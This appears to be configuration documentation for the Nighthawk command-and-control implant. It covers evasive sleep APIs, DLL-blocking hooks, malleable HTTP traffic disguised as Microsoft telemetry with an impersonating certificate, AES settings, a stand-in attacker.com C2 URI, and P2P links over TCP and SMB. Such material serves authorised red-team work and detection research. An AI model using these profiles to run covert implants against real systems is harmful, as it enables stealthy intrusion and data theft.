sleep- This setting causes the implant to call the Windows APISleepExto delay execution when at rest.delay- This setting causes the implant to call the native APINtDelayExecutionto delay execution when at rest. This will use syscalls if configured.wait-single- This setting causes the implant to call the native APINtWaitForSingleObjectto delay execution when at rest. This will use syscalls if configured. Since many processes call this API to wait for Windows objects to complete, this is more opsec safe thansleepordelay.wait-multiple- This setting causes the implant to call the native APINtWaitForMultipleObjectsto delay execution when at rest. This will use syscalls if configured. Since many processes call this API to wait for Windows objects to complete, this is more opsec safe.wait-signal- This setting causes the implant to call the native APINtSignalAndWaitForSingleObjectto delay execution when at rest. This will use syscalls if configured. Since many processes call this API to wait for Windows objects to complete, this is more opsec safe.
block-dlls
This setting specifies an array of DLL names which should be blocked if the process attempts to load them while the implant is operating. This feature works by hooking the Windows LoadLibraryExW API. The hook is removed at sleep time, however certain tools may detect the change in memory.
Please note: providing empty array of DLL names results in no hook being installed.
c2-profile.egress-config
Example:
"c2-profile": {
...
"egress-config": {
"aes-128-key": "AAAABBBBCCCCDDDD",
"aes-128-iv": "xxxxyyyyxxxxyyyy",
"c2-uri": "https://127.0.0.1/",
"retry-attempts-on-error": 99999,
"fallback-p2p": false,
"command-defaults": {
"build-request": {
"method": "get",
"headers": {
"Host": "MSAZ1012.telemetry.microsoft.com",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
}
},
"response-success": {
"status": 200
}
},
"commands": {
"status": {
"build-request": {
"path": "/telemetry.svc?action=GetAnalyticsOptions&cv=<metadata:BuiltIn.Text.Base64UrlEncode>",
"headers": {
"DNT": "1"
}
}
},
"listcommands": {
"build-request": {
"path": "/telemetry.svc?action=GetAnalyticsOptions&cv=<metadata:BuiltIn.Text.Base64UrlEncode>",
"headers": {
"DNT": "1"
}
},
"response-success": {
"headers": {
"Set-Cookie": "^[^]*?__X-CSRF-TOKEN=(?P<payload:BuiltIn.Text.Base64UrlDecode>[^;]+)[^]*$"
}
}
},
"getcommand": {
"build-request": {
"path": "/telemetry.svc?action=GetAnalyticsOptions&cv=<metadata:BuiltIn.Text.Base64UrlEncode>",
"headers": {
"X-Requested-With": "XMLHttpRequest"
}
},
"response-success": {
"body": "^(?P<payload:BuiltIn.Text.Base64UrlDecode>[^]+)$"
}
},
"putresult": {
"build-request": {
"method": "post",
"path": "/update.svc?action=MSAnalytics&app=Office365",
"headers": {
"Cookie": "_ga=<metadata:BuiltIn.Text.Base64UrlEncode>"
},
"body": "session=<payload:BuiltIn.Text.Base64UrlEncode>"
}
}
}
},
...
The egress-config section of the profile defines the configuration for the Nighthawk agent egress communications strategy.
The egress configuration is passed to the egress strategy channel implementation and is used to specify details of how the traffic should appear. If a custom egress strategy is in use then this section of the profile is passed as JSON to the Initialize method and may be used in any way required for initialisation.
HTTP
The following subsections of the egress-config profile section apply to the built-in HTTP communications strategy only.
egress-config
aes-128-key
This element of the egress config specifies the AES-128 (in CBC mode) key to use for encryption; this literal value is used as the AES key for traffic encryption between the agent and the C2. For each deployed profile this key should not change, however different profiles may have different key.
aes-128-iv
This element of the egress config specifies the AES-128 (in CBC mode) IV to use for encryption.
c2-uri
This element of the config specifies a (list of) of URIs to use for C2 communications. The URI protocol handler prefix specifies the type of communications channel to create. The only built-in communications channel type at present is HTTP(S) (i.e. http:// or https:// URI).
In the case of the built-in HTTP URI the protocol type (HTTP/HTTPS), domain, port and path and query string are read from the URI (paths are defined in the command-defaults and commands elements). If the path is supplied then the paths defined within the c2-profile.egress-config.commands section are prefixed with this path, enabling different URLs to be used with the same profile.
A custom C2 channel can be specified by providing a URI protocol handler type matching the c2-profile.general-config.code-modules.egress-transports.module-name for any valid entry, in which case the full URI will be passed in full to the corresponding module Initialize function for processing.
Multiple URIs can be supplied as a semi-colon separated list. In the case of the built-in HTTP handler the host to use will be chosen at random from this list. In the case of custom C2 URIs only a single URI is designed to be used (although this could be worked around by supplying multiple semi-colon separated URIs to the C2 Initialize function and each could be stored internally and cycled through when implementing the various comms methods).
For HTTP an example of using multi-URI is:
"c2-uri": "https://127.0.0.1/; https://127.0.0.1:443/foo; https://127.0.0.1:443; https://www.attacker.com/foo/bar?test=",
Trailing spaces as shown between URIs are ignored.
If multiple URIs are supplied then a random URI is chosen per sleep cycle. If a host is selected which cannot be reached the agent will continue to use the working host and will try to choose another URI after sleeping.
retry-attempts-on-error
This setting is set to an integer value which instructs the egress agent on how many URIs from the semi-colon separated list provided should be attempted for each C2 interaction (i.e. get command list, get command, put response) before giving up.
By default this value is set high (for example) 99999 instructing the agent to try each host in turn until one works. If the list is exhausted then the agent will go to sleep and attempt the initial connection again upon waking, assuming connectivity has been lost. Setting this value to 0 will ensure that on first error the agent goes to sleep and attempts the initial connection again on waking.
fallback-p2p
This setting - if set to true - will instruct the egress agent to fall back to operating as a P2P agent if it is unable to connect out to the C2. This may be useful if direct egress is preferred but the operator is uncertain whether a host will have outbound internet access.
commands
The commands section of the egress config defines the format of the HTTP traffic made by the agent to the C2 server. The format of the requests can be completely arbitrary as long as it resembles valid HTTP.
There are four command types:
status
This command defines the traffic format used by the agent to determine whether a C2 is active at the provided URI. The status command is issued once per connection to a new C2 server, and on success a worker is started to service the listcommands/getcommand/putresult loop. On failure the agent will sleep for the c2-profile.general-config.settings.interval period and will then try again.
This command requires the <metadata> token to be defined somewhere within the request.
listcommands
This command defines the traffic format used by the agent to poll for new commands. This is performed once per c2-profile.general-config.settings.interval period. If any commands are queued for the agent then the relevant details are obtained, the commands are executed, and the responses are posted back to the C2 immediately.
This command requires the <metadata> token to be defined somewhere within the request and the <payload> token to be defined somewhere within the response.
getcommand
This command defines the traffic format used by the agent to obtain specific details for commands queued for execution.
This command requires the <metadata> token to be defined somewhere within the request and the <payload> token to be defined somewhere within the response.
putresult
This command defines the traffic format used by the agent to return response data for commands executed.
This command requires the <metadata> and <payload> tokens to be defined somewhere within the request.
command-defaults
This section defines request and response defaults for the commands specified above. Defining request defaults (e.g. methods, headers, paths, statuses) in this section reduces duplication of this data across the definitions made for individual commands. For example, defining a header within egress-config.commands-defaults.build-request.headers will include this header within every request made for the status, listcommands etc. commands.
Malleable HTTP Traffic Request Definition
The malleable traffic format used by the HTTP C2 communications strategy is defined using JSON. Different components of an HTTP request are defined for a particular command, and these are combined with the default HTTP request components (with more specific components superseding defaults).
Each request communicates a <metadata> field (encoded as specified) containing information such as the command type, client ID and message ID. The commands.putresponse request also communicates a <payload> field (encoded as specified) to deliver a larger payload containing encrypted and compressed command results.
The following provides an example:
"command-defaults": {
"build-request": {
"method": "get",
"headers": {
"Host": "MSAZ1012.telemetry.microsoft.com",
"Connection": "close",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
}
},
...
},
"commands": {
...
"getcommand": {
"build-request": {
"path": "/telemetry.svc?action=GetAnalyticsOptions&cv=<metadata:BuiltIn.Text.Base64UrlEncode>",
"headers": {
"X-Requested-With": "XMLHttpRequest"
}
},
...
},
...
The command-defaults.build-request section defines the default HTTP request elements used across all HTTP requests. The request that will be built per the above would be:
GET [...] HTTP/1.1
Host: MSAZ1012.telemetry.microsoft.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
This request will then be combined with (and superseded by) the HTTP request elements defined within the relevant commands section. For example for commands.getcommand.build-request:
GET /telemetry.svc?action=GetAnalyticsOptions&cv=<metadata:BuiltIn.Text.Base64UrlEncode> HTTP/1.1
X-Requested-With: XMLHttpRequest
The combined default and command specific request elements result in the following request being issued to the C2 server:
GET /telemetry.svc?action=GetAnalyticsOptions&cv=<metadata:BuiltIn.Text.Base64UrlEncode> HTTP/1.1
Host: MSAZ1012.telemetry.microsoft.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
X-Requested-With: XMLHttpRequest
The <metadata> element of the above HTTP request is replaced with the metadata encoded as specified.
HTTP request properties which can be specified include:
- method (string) [valid: HEAD, GET, POST, PUT, DELETE, OPTIONS]
- path (string) [including query string parameters]
- headers (dictionary of string keys and string values)
- body (string)
- http-version (string) [TBD]
Field data (such as <metadata> and <payload>) may be embedded within the path, header values, or body.
Malleable HTTP Traffic Response Definition
HTTP responses are parsed by the agent and are specified using a similar format to the HTTP requests.
The following provides an example:
"command-defaults": {
...
"response-success": {
"status": 200
}
},
"commands": {
...
"getcommand": {
...
"response-success": {
"body": "^(?P<payload:BuiltIn.Text.Base64UrlDecode>[^]+)$"
}
},
...
The command-defaults.response-success defines the default HTTP response elements used across all HTTP responses to indicate success.
The response that will be processed per the above would be:
HTTP/1.1 200 [...]
This response format will then be combined with (and superseded by) the HTTP response elements defined within the relevant commands section. For example for commands.getcommand.response-success:
HTTP/1.1 200 [...]
[...]
^(?P<payload:BuiltIn.Text.Base64UrlDecode>[^]+)$
When the above request is processed any mismatch within the response based on the above will lead to an invalid response match and this will be considered to be an error, leading to the agent attempting sleeping and trying again later.
The <payload> field of the above response specifies the data to be captured and stored within the variable <payload>. Captured data is specified using regular expressions. Data is captured through regular expressions using the familiar parenthesis ( …) expression form and a name is assigned to the capture using ?P<name> as the first element of the expression. Captured data is decoded after captured as specified.
The only capture name expected is <payload> which contains either a list of command IDs for retrieval by the agent (in the case of the listcommands command) and the body of the command to be executed (in the case of the getcommand command).
HTTP response properties which can be specified include:
- status (integer)
- protocol-version (string) [e.g. HTTP/1.1]
- message (string) [e.g. HTTP/1.1 200 message]
- headers (dictionary of string keys and string values)
- body (string)
Field data (i.e. <payload>) may be embedded within the protocol-version, message, header values, or body.
Embedded/Captured Field Encoding and Decoding
HTTP request (<metadata> and <payload>) and response (<payload>) fields may be arbitrarily encoded and decoded respectively. To specify a series of encode or decode steps, a colon-separated list of function names are provided following the field name. Encoder and decoder methods are executed in sequence from left to right.
For example to encode a payload as GZIP compressed base64 within a request the following would be specified:
<payload:BuiltIn.Binary.GzipCompress:BuiltIn.Text.Base64Encode>
To decode a GZIP compressed base64 payload captured from an HTTP response the following would be specified:
<payload:BuiltIn.Text.Base64Decode:BuiltIn.Binary.GzipDecompress>
The latter being the reverse of the former.
Custom encoders written as embedded .NET assemblies can be executed at this stage. To use these an entry must be specified within the profile section c2-profile.general-config.code-modules.encoders with a form similar to the following:
{
"c2-profile": {
...
"general-config": {
...
"code-modules" : {
"encoders": [
{
"type": "clr",
"version": "v4.0.30319",
"module-name": "MammaMia",
"functions": ["MammaMia.Text.EncodeAsItalian", "MammaMia.Text.DecodeFromItalian"],
"code": "TVqQAAMAAAAEAAAA..."
}
],
...
The functions specified within encoder object above must resolve to valid functions within the assembly base64 encoded within the code element. The functions must have signature public static byte[] FunctionName(byte[] input).
c2-profile.server-config
Example:
{
"c2-profile": {
...
"server-config": {
"settings": {
"ip": "0.0.0.0",
"port": 443,
"timeout": 5,
"aes-128-key": "AAAABBBBCCCCDDDD",
"aes-128-iv": "xxxxyyyyxxxxyyyy",
"ssl": {
"enabled": true,
"mode": "create",
"cert": {
"C": "US",
"CN": "MSAZ1012.telemetry.microsoft.com",
"L": "Washington",
"O": "Microsoft Corporation",
"OU": "Diagnostics & Telemetry",
"ST": "DC",
"validity": 365
}
}
},
"command-defaults": {
"match-request": {
"method": "get"
},
"response-success": {
"status": 200,
"message": "OK",
"protocol-version": "HTTP/1.1",
"headers": {
"api-supported-versions": "2.0",
"Content-Type": "text/plain; charset=utf-8",
"Date": "py-eval:self.date_time_string()",
"Cache-Control": "no-cache, no-store, max-age=0, must-revalidate",
"Pragma": "no-cache",
"X-Powered-By": "ASP.NET",
"X-origserver": "MSAZ1012.telemetry.microsoft.com"
}
},
"response-error": {
"status": 500,
"message": "Internal Server Error",
"protocol-version": "HTTP/1.1",
"headers": {
"Server": "Apache",
"Date": "py-eval:self.date_time_string()"
}
}
},
"commands": {
"status": {
"match-request": {
"path": "^/telemetry.svc\\?action=GetAnalyticsOptions&cv=(?P<metadata:BuiltIn.Text.Base64UrlDecode>[^&\\r\\n]+).*$",
"headers": {
"DNT": "1"
}
}
},
"listcommands": {
"match-request": {
"path": "^/telemetry.svc\\?action=GetAnalyticsOptions&cv=(?P<metadata:BuiltIn.Text.Base64UrlDecode>[^&\\r\\n]+).*$",
"headers": {
"DNT": "1"
}
},
"response-success": {
"headers": {
"Set-Cookie": "__X-CSRF-TOKEN=<payload:BuiltIn.Text.Base64UrlEncode>"
}
}
},
"getcommand": {
"match-request": {
"path": "^/telemetry.svc\\?action=GetAnalyticsOptions&cv=(?P<metadata:BuiltIn.Text.Base64UrlDecode>[^&\\r\\n]+).*$",
"headers": {
"X-Requested-With": "XMLHttpRequest"
}
},
"response-success": {
"body": "<payload:BuiltIn.Text.Base64UrlEncode>"
}
},
"putresult": {
"match-request": {
"method": "post",
"path": "^/update.svc\\?action=MSAnalytics&app=Office365$",
"headers": {
"Cookie": "^.*?_ga=(?P<metadata:BuiltIn.Text.Base64UrlDecode>[^;\\s]+).*?$"
},
"body": "^session=(?P<payload:BuiltIn.Text.Base64UrlDecode>.+)$"
}
}
},
"static-responses": [
{
"match-request": {
"method": "get",
"path": "^/getcwd$"
},
"response": {
"status": 200,
"message": "OK",
"protocol-version": "HTTP/1.1",
"headers": {
"Server": "Apache",
"X-Test": "1",
"X-Path": "py-exec:import os\ndef output():\n\treturn os.getcwd()\n"
},
"body": "CWD handler"
}
},
{
"match-request": {
"method": "^.+$",
"path": "^/.*$"
},
"response": {
"status": 404,
"message": "Not Found",
"protocol-version": "HTTP/1.1",
"headers": {
"Server": "Apache",
"Date": "py-eval:self.date_time_string()",
"X-Test": "2"
},
"body": "Nothing to see here."
}
}
],
"code-modules" : {
"encoders": []
}
},
...
The server-config section of the profile defines the configuration for the Nighthawk server-side C2 communications strategy.
The egress configuration is passed to the egress strategy channel implementation and is used to specify details of how the traffic should appear. If a custom egress strategy is in use then this section of the profile is passed as JSON to the Initialize method and may be used in any way required for initialisation.
HTTP
The following subsections of the server-config profile section apply to the built-in HTTP communications strategy only.
server-config
settings
This subsection of the server config describes the particulars of the listener.
ip
This element provides the IP address to which the server HTTP listener should be bound.
port
This element provides the port to which the server HTTP listener should be bound.
timeout
This element provides the maximum wait the HTTP server will allow for data to be received from a client.
aes-128-key
This element specifies the AES-128 (in CBC mode) key to use for encryption; this literal value is used as the AES key for traffic encryption between the agent and the C2. For each deployed profile this key should not change, however different profiles may have different key.
aes-128-iv
This element specifies the AES-128 (in CBC mode) IV to use for encryption.
ssl
enabled
If set to true this server will expect a client to send data encrypted using SSL; otherwise clear-text HTTP is expected.
mode
This element specifies the mode used to set up the SSL connection. There are two options (both specified as strings) create or store.
Mode create will lead to generation of a new self-signed certificate. The certificates are generated using the OpenSSL command line tool with parameters configured from the c2-profile.server-config.ssl.cert dictionary.
Mode store will result in existing SSL certificate being used for encryption. The certificate and private key are read from the c2-profile.server-config.ssl.cert dictionary.
In both cases certificates are stored within the operations server folder APIServer\certs.
cert
Mode create
Example:
"cert": {
"C": "US",
"CN": "MSAZ1012.telemetry.microsoft.com",
"L": "Washington",
"O": "Microsoft Corporation",
"OU": "Diagnostics & Telemetry",
"ST": "DC",
"validity": 365
}
When c2-profile.server-config.ssl.cert is set to create the c2-profile.server-config.ssl.cert subsection specifies a list of configurable properties, including:
- C (string) [country code]
- CN (string) [common name]
- O (string) [organisation]
- OU (string) [organisational unit]
- ST (string) [state]
- validity (integer) [days valid from current date]
Mode store
Example:
"cert": {
"cert": "-----BEGIN CERTIFICATE-----\nMIIGGzCCBAOgAwIBAgIUQKFt7Duv8bP84A0BPCjRH5HlZRMwDQYJKoZIhvcNAQEL\n...\nW4iV+aRkcBley0t7CkedCenyGE4NpBWrK21o99B6kw==\n-----END CERTIFICATE-----",
"key": "-----BEGIN PRIVATE KEY-----\nMIIJQQIBADANBgkqhkiG9w0BAQEFAASCCSswggknAgEAAoICAQCoa1I95ibf8qkz\n...\nG4DDUBr+ghrx+9UBazaWbi8VmA2d\n-----END PRIVATE KEY-----"
}
When c2-profile.server-config.ssl.cert is set to store the c2-profile.server-config.ssl.cert subsection specifies a certificate and corresponding private key. These are both specified as base64 encoded X.509. The configurable properties under the cert dictionary are:
- cert (string) [ASCII base64 encoded X.509certificate]
- key (string) [ASCII base64 encoded X.509 private key]
commands
The commands section of the server config defines the format of the HTTP traffic the C2 server will anticipate from the agent. The format of the requests can be completely arbitrary as long as it resembles valid HTTP.
There are four command types which are described in detail within the section commands.
command-defaults
The command-defaults section of the server config defines request and response defaults for the commands specified above. The purpose of these is to provide a server-side analogue to the specifics described within section command-defaults.
static-responses
The static-responses section defines the format of HTTP traffic which will generate particular pre-defined responses to request not forming valid C2 traffic without requiring a redirector. These responses apply the same regular expression-based matching as commands but return a fixed response (fixed, but embedded scripting support is provided).
Static responses are executed on a first-matched basis, so if there is a request handler which matches for example a path of ^/foo.*$ and one which matches ^.*$ then a request to /foo will match the former regex if this is specified first in order, or the latter if that is specified first.
There should be at least one catch all static-response entry to match any request which is not valid C2 traffic and is not valid to a more specific handler. If there is not then the HTTP server will not return any response (and will print an exception to warn you, but will not stop operation).
Malleable HTTP Traffic Request Definition
The malleable traffic format used by the HTTP C2 communications strategy is defined using JSON as detailed within section [Malleable HTTP Traffic Request Definition](#Malleable HTTP Traffic Request Definition). This definition pertains to the server-side aspect of HTTP request traffic format definition and processes as opposed to the earlier section detailing formation of these requests by an egress agent.
The following provides an example:
{
"c2-profile": {
...
"server-config": {
...
"command-defaults": {
"match-request": {
"method": "get"
},
"response-success": {
"status": 200,
"message": "OK",
"protocol-version": "HTTP/1.1",
"headers": {
"api-supported-versions": "2.0",
"Content-Type": "text/plain; charset=utf-8",
"Date": "py-eval:self.date_time_string()",
"Cache-Control": "no-cache, no-store, max-age=0, must-revalidate",
"Pragma": "no-cache",
"X-Powered-By": "ASP.NET",
"X-origserver": "MSAZ1012.telemetry.microsoft.com"
}
},
"response-error": {
"status": 500,
"message": "Internal Server Error",
"protocol-version": "HTTP/1.1",
"headers": {
"Server": "Apache",
"Date": "py-eval:self.date_time_string()"
}
}
},
...
"commands": {
...
"putresult": {
"match-request": {
"method": "post",
"path": "^/update.svc\\?action=MSAnalytics&app=Office365$",
"headers": {
"Cookie": "^.*?_ga=(?P<metadata:BuiltIn.Text.Base64UrlDecode>[^;\\s]+).*?$"
},
"body": "^session=(?P<payload:BuiltIn.Text.Base64UrlDecode>.+)$"
}
}
},
The command-defaults.match-request section defines the default HTTP request elements used across all valid HTTP requests. The request that will be matched per the above would be:
GET [...] [...]
[...]
This request matching definition will then be combined with (and superseded by) the HTTP request elements defined within the relevant commands section. For example for commands.putresult.match-request:
POST ^/update.svc\\?action=MSAnalytics&app=Office365$ [...]
Cookie: ^.*?_ga=(?P<metadata:BuiltIn.Text.Base64UrlDecode>[^;\\s]+).*?$
[...]
^session=(?P<payload:BuiltIn.Text.Base64UrlDecode>.+)$
The combined default and command specific request elements result in the following request (for example) being matched by the HTTP C2 server:
POST /update.svc?action=MSAnalytics&app=Office365 HTTP/1.1
Cookie: foo=bar; _ga=<metadata>; x=y
Content-Length: [length value]
session=<payload>
Whereby in the above the <metadata> has been encoded as URL-safe base64 using the corresponding BuiltIn.Text.Base64UrlEncode encoder by the egress agent, and the <payload> has been encoded the same way (as specified within the match-request fields).
When the above request is processed any mismatch within the response based on the above will lead to an invalid request match and this will be considered to be an error, leading to the server returning the most specific response from the list specified under c2-profile.server-config.static-responses.
The <payload> field of the above response specifies the data to be captured and stored within the variable <payload>. Captured data is specified using regular expressions. Data is captured through regular expressions using the familiar parenthesis ( …) expression form and a name is assigned to the capture using ?P<name> as the first element of the expression. Captured data is decoded after captured as specified.
HTTP request properties which can be specified include:
- method (string) [valid: HEAD, GET, POST, PUT, DELETE, OPTIONS]
- path (string) [including query string parameters]
- headers (dictionary of string keys and string values)
- body (string)
- protocol-version (string) [TBD]
Field data (such as <metadata> and <payload>) may be extracted from within the path, header values, or body.
Malleable HTTP Traffic Response Definition
HTTP responses are parsed by the agent and are specified using a similar format to the HTTP requests.
The following provides an example:
"command-defaults": {
...
"response-success": {
"status": 200,
"message": "OK",
"protocol-version": "HTTP/1.1",
"headers": {
"api-supported-versions": "2.0",
"Content-Type": "text/plain; charset=utf-8",
"Date": "py-eval:self.date_time_string()",
"Cache-Control": "no-cache, no-store, max-age=0, must-revalidate",
"Pragma": "no-cache",
"X-Powered-By": "ASP.NET",
"X-origserver": "MSAZ1012.telemetry.microsoft.com"
}
},
"response-error": {
"status": 500,
"message": "Internal Server Error",
"protocol-version": "HTTP/1.1",
"headers": {
"Server": "Apache",
"Date": "py-eval:self.date_time_string()"
}
}
},
"commands": {
...
"listcommands": {
...
"response-success": {
"headers": {
"Set-Cookie": "__X-CSRF-TOKEN=<payload:BuiltIn.Text.Base64UrlEncode>"
}
}
},
},
...
The command-defaults.response-success defines the default HTTP response elements used across all HTTP responses to indicate success; command-defaults.response-error defines the default error response (which must not be identical to the response-success response but is otherwise disregarded by the egress agent).
The response that will be generated per the above would be:
HTTP/1.1 200 OK
api-supported-versions: 2.0
Content-Type: text/plain; charset=utf-8
Date: [py-eval:self.date_time_string()],
Cache-Control: [no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
X-Powered-By: ASP.NET
X-origserver: MSAZ1012.telemetry.microsoft.com
Wherein the [py-eval:self.date_time_string()] is replaced with a datetime string.
This response format will then be combined with (and superseded by) the HTTP response elements defined within the relevant commands section. For example for commands.listcommands.response-success:
HTTP/1.1 200 OK
api-supported-versions: 2.0
Content-Type: text/plain; charset=utf-8
Date: [py-eval:self.date_time_string()],
Cache-Control: [no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
X-Powered-By: ASP.NET
X-origserver: MSAZ1012.telemetry.microsoft.com
Set-Cookie: __X-CSRF-TOKEN=<payload:BuiltIn.Text.Base64UrlEncode>
Whereby in the above the <payload> had been encoded as URL-safe base64 using the corresponding BuiltIn.Text.Base64UrlEncode encoder by the HTTP C2 server.
When the above response is processed any mismatch will lead to an invalid response match and this will be considered to be an error by the egress agent. The response definition expected by the agent must therefore match the response defined as per the above (however a partial match is fine, for example - matching on just one header being present, and the location/formatting of the encoded data would be sufficient).
HTTP Response Inline Python
Responses returned by the HTTP C2 may contain arbitrary inline Python code to provide dynamic variation in the responses returned. These can be defined in two ways: py-eval:foo() and py-exec:def output(): return foo;. For example:
{
"c2-profile": {
...
"server-config": {
...
"static-responses": [
{
"match-request": {
"method": "get",
"path": "^/getcwd$"
},
"response": {
"headers": {
"Date": "py-eval:self.date_time_string()",
"X-Path": "py-exec:import os\ndef output():\n\treturn os.getcwd()\n"
},
}
}
],
...
The py-eval prefix specifies an expression that evaluates to a string; the py-exec prefix specifies a function def output() which returns a string.
Embedded/Captured Field Encoding and Decoding
HTTP request (<metadata> and <payload>) and response (<payload>) fields may be arbitrarily encoded and decoded respectively. To specify a series of encode or decode steps, a colon-separated list of function names are provided following the field name. Encoder and decoder methods are executed in sequence from left to right.
For example to encode a payload as GZIP compressed base64 within a response the following would be specified:
<payload:BuiltIn.Binary.GzipCompress:BuiltIn.Text.Base64Encode>
To decode a GZIP compressed base64 payload captured from an HTTP request the following would be specified:
<payload:BuiltIn.Text.Base64Decode:BuiltIn.Binary.GzipDecompress>
The latter being the reverse of the former.
Custom encoders written as embedded python functions can be executed at this stage. To use these an entry must be specified within the profile section c2-profile.server-config.code-modules.encoders with a form similar to the following:
{
"c2-profile": {
...
"general-config": {
...
"code-modules" : {
"encoders": [
"code-modules" : {
"encoders": [
{
"type": "python-script",
"version": "2.7",
"functions": ["MammaMia.Text.EncodeAsItalian", "MammaMia.Text.DecodeFromItalian"],
"code": "ItalianWords = [\"monte\", [...] \"difficolta\", \"rock\"]\r\n\r\nclass MammaMia(object):\r\n\tclass Text(object):\r\n\t\t\r\n\t\t@staticmethod\r\n\t\tdef EncodeAsItalian(data):\r\n\t\t\twords = []\r\n\r\n\t\t\tfor ch in data:\r\n\t\t\t\twords.append(ItalianWords[ord(ch)])\r\n\r\n\t\t\treturn \" \".join(words)\r\n\t\t\r\n\t\t@staticmethod\r\n\t\tdef DecodeFromItalian(data):\r\n\t\t\twords = data.split(\" \")\r\n\t\t\toutput = []\r\n\r\n\t\t\tfor word in words:\r\n\t\t\t\toutput.append(chr(ItalianWords.index(word)))\r\n\r\n\t\t\treturn \"\".join(output)"
}
]
}
],
...
The functions specified within encoder object above must resolve to valid functions within the source provided within the code element. The functions must be contained within classes embedded within classes and must be marked @staticmethod in the class in which they are contained.
c2-profile.p2p-config
The Nighthawk agent supports P2P communications. The
p2p-listener-uri
This element of the config specifies a single URI to use for P2P communications. The URI protocol handler prefix specifies the type of listener to create. The built-in listener types at present are TCP (tcp:// URI) and SMB named pipe (smb:// URI).
The URI formats follow:
TCP - Specifying a listener URI oftcp://1234 will result in the generated P2P agent listening on TCP port 1234 for incoming connections. If multiple P2P agents are running on the same host then one will hold the open port while the others sleep; as soon as the agent to wake will open the port, etc.
SMB - Specifying a listener URI ofsmb://foobar will result in the generated P2P agent listening on an SMB pipe named foobar for incoming connections. Multiple agents sharing the same pipe will be linked in the order they opened the pipe.
A custom P2P channel can be specified by providing a URI protocol handler type matching the c2-profile.general-config.code-modules.p2p-transports.module-name for any valid entry, in which case the full URI will be passed in full to the corresponding module Initialize function for processing.
aes-128-key
This element of the P2P config specifies the AES-128 (in CBC mode) key to use for encryption; this literal value is used as the AES key for traffic encryption between P2P agents. These must match across any agents which are designed to communicate, regardless of protocol used.
aes-128-iv
This element of the P2P config specifies the AES-128 (in CBC mode) IV to use for encryption.
promote
This element of the profile specifies whether a P2P agent should be promoted to an egress agent if no peer connects within a specified timeframe (configured within p2p-config.promote-after). The intended use for this is to allow an agent to connect directly outbound on the eventuality that for some reason a peer cannot connect to the opened listener (for example, the specified port is already in use by a local service, or the custom P2P strategy fails).
promote-after
This setting specifies the number of minutes which should elapse before the P2P agent will be promoted to an egress agent. The promotion will only occur if the p2p-config.promote setting is set to true.